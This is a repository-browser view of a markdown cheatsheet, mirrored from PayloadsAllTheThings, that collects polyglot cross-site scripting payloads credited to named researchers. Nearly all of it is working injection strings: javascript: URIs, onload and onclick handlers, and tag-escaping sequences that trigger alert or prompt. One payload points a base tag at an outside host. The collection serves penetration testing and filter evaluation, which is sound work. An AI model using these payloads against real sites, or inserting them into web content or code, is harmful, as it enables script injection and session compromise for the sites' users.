daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

2-xss-polyglot.md (5303B)

      1 ---
      2 title: "Polyglot XSS"
      3 topic: "XSS Injection"
      4 topicSlug: "xss-injection"
      5 sourcePath: "XSS Injection/2 - XSS Polyglot.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/XSS%20Injection/2%20-%20XSS%20Polyglot.md"
      7 sha: "3ac27901c711"
      8 isReadme: false
      9 ---
     10 
     11 # Polyglot XSS
     12 
     13 A polyglot XSS is a type of cross-site scripting (XSS) payload designed to work across multiple contexts within a web application, such as HTML, JavaScript, and attributes. It exploits the application’s inability to properly sanitize input in different parsing scenarios.
     14 
     15 * Polyglot XSS - 0xsobky
     16 
     17     ```javascript
     18     jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
     19     ```
     20 
     21 * Polyglot XSS - Ashar Javed
     22 
     23     ```javascript
     24     ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
     25     ```
     26 
     27 * Polyglot XSS - Mathias Karlsson
     28 
     29     ```javascript
     30     " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
     31     ```
     32 
     33 * Polyglot XSS - Rsnake
     34 
     35     ```javascript
     36     ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
     37     ```
     38 
     39 * Polyglot XSS - Daniel Miessler
     40 
     41     ```javascript
     42     ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
     43     “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
     44     '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
     45     javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
     46     javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
     47     javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
     48     javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
     49     javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
     50     javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
     51     javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
     52     --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
     53     /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
     54     javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
     55     /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
     56     ```
     57 
     58 * Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514)
     59     ![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg)
     60 
     61     ```javascript
     62     -->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
     63     ```
     64 
     65     ![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large)
     66 
     67     ```javascript
     68     <svg%0Ao%00nload=%09((pro\u006dpt))()//
     69     ```
     70 
     71 * Polyglot XSS - from [@filedescriptor's Polyglot Challenge](https://web.archive.org/web/20190617111911/https://polyglot.innerht.ml/)
     72 
     73     ```javascript
     74     // Author: crlf
     75     javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
     76 
     77     // Author: europa
     78     javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>
     79 
     80     // Author: EdOverflow
     81     javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>
     82 
     83     // Author: h1/ragnar
     84     javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`
     85     ```
     86 
     87 * Polyglot XSS - from [brutelogic](https://web.archive.org/web/20210623151016/https://brutelogic.com.br/blog/building-xss-polyglots/)
     88 
     89     ```javascript
     90     JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
     91     ```
     92 
     93 ## References
     94 
     95 * [Building XSS Polyglots - Brute - June 23, 2021](https://web.archive.org/web/20210623151016/https://brutelogic.com.br/blog/building-xss-polyglots/)
     96 * [XSS Polyglot Challenge v2 - @filedescriptor - August 20, 2015](https://web.archive.org/web/20190617111911/https://polyglot.innerht.ml/)